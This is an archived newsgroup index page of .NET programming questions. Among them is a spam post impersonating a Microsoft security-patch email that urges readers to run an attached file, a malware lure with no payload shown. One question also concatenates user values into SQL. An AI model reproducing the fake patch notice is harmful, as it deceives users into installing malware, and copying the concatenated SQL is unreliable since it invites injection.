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Index ‹ DotNet ‹ Visual C#.Net
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- 1
- Visual C#.Net >> Base36Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion routines? TIA
--
William Stacey, MVP
http://mvp.support.microsoft.com
- 2
- Visual C#.Net >> custom controlhi i am rajendra i am posting my first question to this group i have
doubt from last few days .i want to clear it
why we need user control and wher should we use it,and the execution
of the user defined control. please let me know
- 3
- 4
- Dotnet >> Use these internet package--qdmeolsdzwg
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Microsoft User
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2004 Microsoft Corporation.
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Microsoft User<BR><BR>
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
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ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
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ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
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<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
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ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
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<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
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For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
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- 5
- 6
- ADO >> Different results with the same query?!?Hi all,
I want to check if a record exists in the DB.
I use two different ways to create the sql query.
One way is by using SqlCommand and SqlParameter.
The other way by building the query myself (without SqlParameter(s))
and using the SqlCommand to execute it.
In one I get false in the other i get true.
Can anyone help me?
////////////////////////////////////////////////
//Build the query using SqlParameters
////////////////////////////////////////////////
SqlCommand m_MessageSelectCommand = new SqlCommand();
m_MessageSelectCommand.CommandText =
"SELECT MessageNumber FROM Messages WHERE
CommunityNumber=@CommunityNumber and ForumParent=@ForumParent and
ForumNumber=@ForumNumber and WrittenBy=@WrittenBy and
MessageDate=@MessageDate";
m_MessageSelectCommand.Connection = m_Connection;
m_MessageSelectCommand.CommandTimeout = 0;
m_MessageSelectCommand.Parameters.Add(new
SqlParameter("@CommunityNumber", System.Data.SqlDbType.Int, 4,
"CommunityNumber"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@ForumNumber",
System.Data.SqlDbType.Int, 4, "ForumNumber"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@ForumParent",
System.Data.SqlDbType.Int, 4, "ForumParent"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@WrittenBy",
System.Data.SqlDbType.NVarChar, 100, "WrittenBy"));
m_MessageSelectCommand.Parameters.Add(new SqlParameter("@MessageDate",
System.Data.SqlDbType.DateTime, 8, "MessageDate"));
// later in the code
m_MessageSelectCommand.Parameters["@CommunityNumber"].Value =
dlMessage.m_CommunityNumber;
m_MessageSelectCommand.Parameters["@ForumParent"].Value =
dlMessage.m_ForumNumber;
m_MessageSelectCommand.Parameters["@ForumNumber"].Value =
dlMessage.m_TopicNumber;
m_MessageSelectCommand.Parameters["@WrittenBy"].Value =
dlMessage.m_MessageAuthor;
m_MessageSelectCommand.Parameters["@MessageDate"].Value =
dlMessage.m_MessageDate;
SqlDataReader reader = m_MessageSelectCommand.ExecuteReader();
bool b = reader.HasRows;
// B IS FALSE!!!
////////////////////////////////////////////////
//The other way - just build the query by myself
////////////////////////////////////////////////
System.Text.StringBuilder sql = new System.Text.StringBuilder(256);
sql.Append("SELECT MessageNumber FROM Messages WHERE
CommunityNumber=");
sql.Append(dlMessage.m_CommunityNumber);
sql.Append(" and ForumParent=");
sql.Append(dlMessage.m_ForumNumber);
sql.Append(" and ForumNumber=");
sql.Append(dlMessage.m_TopicNumber);
sql.Append(" and WrittenBy='");
sql.Append(dlMessage.m_MessageAuthor);
sql.Append("' and MessageDate='");
sql.Append(dlMessage.m_MessageDate);
sql.Append("'");
SqlCommand c = new SqlCommand(sql.ToString(), m_Connection);
SqlDataReader reader = c.ExecuteReader();
bool b = reader.HasRows;
// I get that b is true.
This happens durring the same program execution
How can this be???
- 7
- Net Framework >> COM interoperabilityI want to use a Class Library (DLL) on ASP .NET (2003). I'm using
JavaScript on the client side. My web must sign documents and I want to
call some functions from the class i have created. I have no problems
if i call the Capicom dll from javascript but if i call my class I
cannot use it and there are some errors:
<script lang="javascript>
var a = new ActiveXObject("CAPICOM.Certificate"); //No problem
But, if i want to use my class "signLibrary"
When I use var b = new ActiveXObject("signLibrary.Certs") there's an
error on the javascript
</script>
How do i have to call the library? How do i have to create the library
for using it on the website without errors? How do i have to reference
it from the website? Is there any other solution to do this?
Thank you
- 8
- ADO >> TableAdapter not updating table if the table is empty when loaded?I am having problems with the table adapter not updating (inserting a new
record) the sql server table if I open the form with out any records already
in the sql server table.
If I add on record in sql server management studio, the the table adapter
will work correctly, but there has to be at least on record.
What is going on??
There are not any exceptions being thrown.
I checked the table adapter commands (delete, insert, select, update) and
they match the other table adapter that are working correctly. (just
different fields and parameters)
What else can I check for?
Thanks
- 9
- Dotnet >> Calling a public sub in another form having the name of the form as a stringHi,
I wonder if anyone can help me out.
I'm building a vb.net application that has a form with a panel that
contains several other sub forms (as a collection of controls). What
I'm wanting to do is call a generically named public sub in the
top-most sub form in the panel.
I have the name of the top-most form as a string (eg. g_TopForm =
"frmCustomers") and I can reference the form with:
Me.pnlMainWindow.Controls.Item(FormRef)
where the FormRef integer is derived from the function call:
FormRef = FormItemNo(g_TopForm)
and the FormItemNo function is defined as:
Private Function FormItemNo(ByVal formname As String) As Integer
Dim itemref As Integer
Try
'Return impossible number if the form hasn't already been
opened
FormItemNo = 99
For itemref = 0 To Me.pnlMainWindow.Controls.Count - 1
If Me.pnlMainWindow.Controls.Item(itemref).Name =
formname Then FormItemNo = itemref
Next
Catch exp As Exception
MsgBox(exp.Message, MsgBoxStyle.Critical, Me.Text)
End Try
End Function
So, what I'd like to be able to do now is somehow derive a variable
(say subfrm) of type 'frmCustomers' and call:
subfrm.NewRec()
where NewRec() is a public sub in the frmCustomers form class.
Am I barking up completely the wrong tree with this approach or does
anyone have a simple solution to this? I'm not very adept in .net
programming yet (as you may have gathered?!)
Any help is very much appreciated.
Paul
- 10
- Microsoft Project >> setting a custom field in a macroI'm trying to write a macro where I get information from one custom,
project-level field, a string, and place it in another custom,
project-level field which is also a string.
So far, the way I've been able to access the value is by storing
Project.Task.field_one in a string variable I've already declared.
However, when I try to write Project.Task.field_two = string_variable,
I get an error message saying "The argument value is not valid".
Any thoughts?
- 11
- ADO >> size problem with ole object data type (blob) and ado.netHi there,
I've a strange problem with ado.net and an Access db. I need to create
a little C# app that take the content of "ole object" field and then
save it into a file.
The problem is that when I do the following
Byte[] byteBLOBData = new Byte[0];
byteBLOBData = (Byte[])(ds.Tables["tblRefAlbum"].Rows[0]["photo"]);
I get the exact double of the original size! and if I save this array
byte to a file I'll get my file with every two byte set to 00.
The result is, of course, not an image. I've tryed to manipulate my
array of byte to strip every two bytes but the result is an visible
image but not the correct image (it's a scrambled image that appears).
Please help, I really need to do this exportation of picture in .net
with the access db.
Thanks a lot for people whom can help me.
- 12
- Dotnet >> Problem w/ Simple SerializationHi,
I have a simple class that has a Hashtable. the hashtable has a couple of
key/value pairs where the key is a string and the value is also a strong.
I have [Serializable] at the top of that class.
when I try to serialize it with XmlSerializer, I get only the "class
boundary" but my hashtable member doesn't get serialized. Hashtable is
Serializable, at least that's what the documentation says.
Am I missing something?
Thanks,
Ron
- 13
- 14
- Microsoft Project >> Link Project data into Excel WorksheetI want to link values from an MS project file into cells within an Excel
worksheet. I want the sheet to automatically update itself to reflect changes
in the Project file. I know this can be done - I used to do it - but I can't
remember the magic steps required. Can anybody help on this?
Thanks.
- 15
- Visual C#.Net >> CollectionBase problemHi,
i have a windows application.
This application uses a object that its of type collectionbase.
For other hand i have a ListBox, and i use this collection to fill it.
I have implemented the methods (in my class that derives from collection
base):
//to get an element from collection
public type of object Get_(int index)
{
return (type of object) List[index]
}
//to add into collection
public void Add_(type of the object object)
{
List.Add(object)
}
//to remove from collection
public void Remove_(type of the object object)
{
List.Remove(object)
}
I dont know if my steps are correctly:
1) when application loads i fill the collection, and i fill the listbox with
the collection.
2) When a person clicks in a item i get the object from the collection with
the index (ListBox.SelectedIndex)
3) i remove from collection this object that i got in the step 2.
4) i assign the datasource of the listbox to null
5) i remove from the listbox the item selected
6) i assign the datasource of the listbox the collection (with the item
removed in step 3)
When i execute the application, and i delete an item, all goes correctly
except when i delete the last.... In this case (deleting the last item) the
application deletes it, but when i selected another item, i get an Error of
type IndexOutOfRange exception....
Questions:
1) What could be the problem?
2) Its my logic to do this wrong?
3) Generally this kind of stuff are made following this way?
Any advice would be appreciated...
--------
Thanks
Regards.
Josema
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| Author |
Message |
mammalardog

|
Posted: Wed Apr 05 06:14:49 CDT 2006 |
Top |
Visual C#.Net >> building rotor 2.0
Dear All,
I have extended the JScript compiler in rotor. Some of my code is added
to the JScript classes and some of my code is new classes and I have put
these in a new namespace "mynamespace" but all the code is in the
directory jscript. I have no problem building the code in the
jscript\engine directory. In particular, I can use the
Microsoft.JScript namespace in mynamespace and I can use mynamespace in
the files that are part of the Microsoft.JScript namespace.
The problem occurs when the build moves into the jscript\jsc directory
and it finds a Using mynamespace directive for which it cannot find a
reference.
I have looked in
C:\rotor\sscli20\binaries.x86chk.rotor\bin\rotor_x86\rotor_x86\Microsoft
.JScript.dll and it contains my code from the jscript\engine including
code from mynamespace.
From what I understand of the build process, the compiler is looking in
C:\rotor\sscli20\binaries.x86chk.rotor\ref\Microsoft.JScript.dll to
resolve references but in this file there is none of my code and no
mention of mynamespace.
I'd be grateful for any ideas.
Mohammad Alshriadeh
Computer Science Department(Neat Group)
The University of Hull
Hull
United Kingdom
HU6 7RX
Tel: 01482-465253
*** Sent via Developersdex http://www.developersdex.com ***
DotNet56
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Laura

|
Posted: Wed Apr 05 06:14:49 CDT 2006 |
Top |
Visual C#.Net >> building rotor 2.0
You'd better post this message in the shared_source (rotor) newsgroup,
news:microsoft.public.shared_source.cli
Laura
"Mohammad Alshraideh" <EMail@HideDomain.com> ha scritto nel messaggio
news:EMail@HideDomain.com...
>
> Dear All,
> I have extended the JScript compiler in rotor. Some of my code is added
> to the JScript classes and some of my code is new classes and I have put
> these in a new namespace "mynamespace" but all the code is in the
> directory jscript. I have no problem building the code in the
> jscript\engine directory. In particular, I can use the
> Microsoft.JScript namespace in mynamespace and I can use mynamespace in
> the files that are part of the Microsoft.JScript namespace.
>
> The problem occurs when the build moves into the jscript\jsc directory
> and it finds a Using mynamespace directive for which it cannot find a
> reference.
>
> I have looked in
> C:\rotor\sscli20\binaries.x86chk.rotor\bin\rotor_x86\rotor_x86\Microsoft
> JScript.dll and it contains my code from the jscript\engine including
> code from mynamespace.
>
> From what I understand of the build process, the compiler is looking in
> C:\rotor\sscli20\binaries.x86chk.rotor\ref\Microsoft.JScript.dll to
> resolve references but in this file there is none of my code and no
> mention of mynamespace.
>
> I'd be grateful for any ideas.
>
>
> Mohammad Alshriadeh
> Computer Science Department(Neat Group)
> The University of Hull
> Hull
> United Kingdom
> HU6 7RX
> Tel: 01482-465253
>
>
> *** Sent via Developersdex http://www.developersdex.com ***
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Index ‹ DotNet ‹ Visual C#.Net |
- Next
- 1
- Visual C#.Net >> regarding error "Http error-404 object not found"Hi all
I have visual studio 2003 and also configured IIS.But not able to
execute any web application.
I am a beginner and all the small web applications I had made some
days days ago were working perfectly .But now when i tried to execute
them again ,they are giving the error"Http error-404 object not
found" .what should I do.Please help me out.
thanks and regards
niki
- 2
- Microsoft Project >> ProjectSP2.mspI upgraded MS Office 2003 to MS office 2007. Now I want to move from
Project 2003 to Project 2007. When I install 2007, I get the message
thet I have to remeove MS Project 2003 first, although this has been
removed earlier. I also get the warning that i need to refer the
location of the file Projectsp2.msp. Anyone encountered this before ?
Looking forward to your advise,
Regards,
KrL
- 3
- Winforms >> Where do forms get the default icon from?I've replaced App.ico and it appears to have worked at the application level
but my forms haven't updated. Presuming I needed to change the icon on the
forms I started replacing them. But in the course of looking at some of the
forms and their associated resources, I discovered there were absolutely no
references to any icons in those files.
This raises the question, where do the forms get their default icon from? I
would have hoped they'd simply change to reflect the application icon by
default but that is obviously not the case.
Any ideas?
Thanks,
Doug Harber
- 4
- ADO >> Deleting In Strongly typed DatasetHi All!
After a long time for trying understand how strongly typed dataser
work, I've finaly success. Except on the delete command. When I do some
deleting, it only delete record from the dataset but not from the database.
I've try many thing but I turn arround. I paste you the code I use.
Me.cnAlbums.Open()
Dim Row As DsAlbums.PhotoRow =
Me.DsAlbums.Photo.FindByPhotoId(CInt(Me.lblPhotoId.Text))
Me.DsAlbums.Photo.RemovePhotoRow(Row)
Me.UpdateFlag = False
Me.DaPhoto.Update(Me.DsAlbums, "Photo") ' There is where it's suppose to
delete..?
Me.UpdateFlag = True
Me.cnAlbums.Close()
Sorry for my english but I'm french and I didn't get any response on the
french newsgroup
Thank a lot,
Francois
- 5
- Dotnet >> Building DataSets using SQL Servers MetaDataHi all.
Using Visual Studio VB.NET and SQL Server 2000.
When I drag tables from the SQL Server Explorer into a dataset I am building
I get the table, fieldnames and types. But, why doesn't it put in relations,
defaults and all the other information from the SQL Server. It takes time to
do this in VS when it is already done on the SQL Server. When I build a
diagram in SQL Server all this information gets there automaticly, but not
in VS.NET. Are there som settings I am missing here? We do have some
datasets with lots of tables and relations, constraints, defaults....
Thanx all.
gh
- 6
- Net Framework >> POS SystemI would like to create a Point Of Sale System. Is there a website that sells
the interface between a POS Cash register and .NET?
Thanks for the help
- 7
- ADO >> Close not closing...I've written a small app which has 2 buttons.
The 1st button goes away to a directory full of SQL Scripts, and then
runs them against the database.
The 2nd button has code to do some modifications to the database,
looking like the code below:
_______________________________________________________________________
_________
string connectionString;
connectionString =
Properties.Settings.Default.DatabaseConnectionString + databaseName;
// create a new SqlConnection object with the appropriate
connection string
SqlConnection sqlConn = new
SqlConnection(connectionString);
try
{
// open the connection
sqlConn.Open();
// create the command object
SqlCommand sqlComm = new SqlCommand(SQLCommands,
sqlConn);
sqlComm.ExecuteNonQuery();
// close the connection
sqlConn.Close();
MessageBox.Show("Operation Completed");
}
_______________________________________________________________________
_________
One of the scripts run from the script folder Drops a user, and then
Re-Creates them.
If I hit the script button first, then everything works fine.
However if I run the code button first, and then hit the script
button, an exception is thrown
saying that the user can not be dropped since they are currently
logged in!
I'm guessing I'm missing something, but it appears the Close method on
the sqlConnection object isn't
actually closing the connection...
Terminating the application and starting again resets the problem,
however there is nothing in
the dispose methods which would do that.
I've tried exchanging Close for Dispose but it made no difference.
Any help would be appreciated.
Cheers
Chris.
saying that a user is
- 8
- Winforms >> normal multiline editor.Visual C++ 2005 Express
MVP's and experience programmer's only please!...
I need to get the number of lines in a textbox so I can insert them into a
listview. The text comes from my database and is unformatted. I display the
text to my user in the listview. The textbox I create logically in the
program, and I initialize the correct properties for a normal multiline
editor.
When the user changes the column size then I reload the lines accordinally.
The problem I am having is when I get the lines property which is a
array<^>^(). The lenght is always 1 no matter how many lines are in the
textbox.
In MFC when the lines are wraped the new line character is automattically
inserted, but here it's not.
Can you help me solve this problem? I would really appreciate it!
Thanks!...
--
Eric Miller
- 9
- 10
- ADO >> MyGeneration for .NET (100% Free Code Generator / OR Mapper)MyGeneration is 100% free, tired of hand coding business objects, stored
procedures, spend your time wisely doing other thing and let us help you.
See http://www.mygenerationsoftware.com
1) MyGeneration is a Template Based Code Generator Supporting Four Template
Languages - JScript, VBScript, C# and VB.NET
2) Ability to Create Your Own Embedded User Interface in your Templates
3) Supported ORM Architectures - Gentle.NET, Opf3, NHibernate
4) MyGeneration dOOdads Architecture Included for Both C# and VB.NET (See
Menu)
5) Support for 11 Different Database Systems.
Microsoft SQL, Oracle, IBM DB2, MySQL, PostgreSQL, Microsoft Access,
FireBird, Interbase, SQLite, VistaDB, and Advantage.
5) Online Template Library for Publishing and Downloading Templates
6) Very Active Support Forums
7) No Hassle, No Questions asked Download
- 11
- Microsoft Project >> MS Project 2003 viewers (Freeware)Does anyone know of a freeware Project 2003 viewer other than Steelray
I have users that need to view MS Project 2003 formatted but cant. Saving
the Project 2003 file in Project 98 format causes a loss of formatting and
useless. Please let me know of any recommendations.
Thanks
- 12
- Winforms >> Visual Studio - Debug Error FormI am looking to see if someone has created that form that pops up in VS when
you hit an error during debug. The one with the error info, the connector
line to the line causing the error and can be dragged around.Anyone know
where I can find info on recreating this?
Thanks,
Brian
- 13
- Visual C#.Net >> How to use the base keyword to call a base class method (not a constructor)Hello,
I have read that the base keyword can be used not only to control a base
class instantiation (thus calling one of the base class constructors) but
also to access any other public or protected method in the parent class ...
I have search all over for an example of how to do this but have failed.
What I was wondering is about the syntax necessary to make such a call .....
Thx..
Bob Rock
- 14
- Dotnet >> Dynamic assign delegate function?Hi
I have an odd question: is it possible to have a delegate that recieves
a methodname dynamically?
Like this: aClassObj.OnGo += new ANamespace.Invoke(fName);
where fName would be a string with the function name;
Maybe this is totally conceptually wrong, but right now I'm nont sure
which way to go.
I have a timer that trigger an event OnGo that fires a function within
a class and now I'd like to have a number of functions that can be
called and is decided in an xml document. Possibly a stupid idea, but i
don't know how to proceed.
TopObj->holds instance of callerObj
callerObj-> creates a instance of delegateObj
callerObj -> assigns one of its own functions to the event
delegateObj.OnGo
If it doesn't make any sense tell me to bury it and rewrite...:-(
Example on what I would like to do:
namespace ANamespace{
public delegate void Invoke(string ObjId);
Class A{
public event Invoke OnGo;
.....
}
Class B {
A aClassObj;
...
public B()
{
aClassObj = new A();
}
public void functionAssign(string fName)
{
aClassObj.OnGo += new ANamespace.Invoke(fName);
}
public void callerFunction(string ID){...}
}
}
- 15
- Visual C#.Net >> Desktop Iconshi all
is there anyway in C# or using winAPI that can help me in arranging desktop
icons on a small area in the middle of the desktop wallpaper or in more
detail can i set the coordinates of each icon as i wish
thx all
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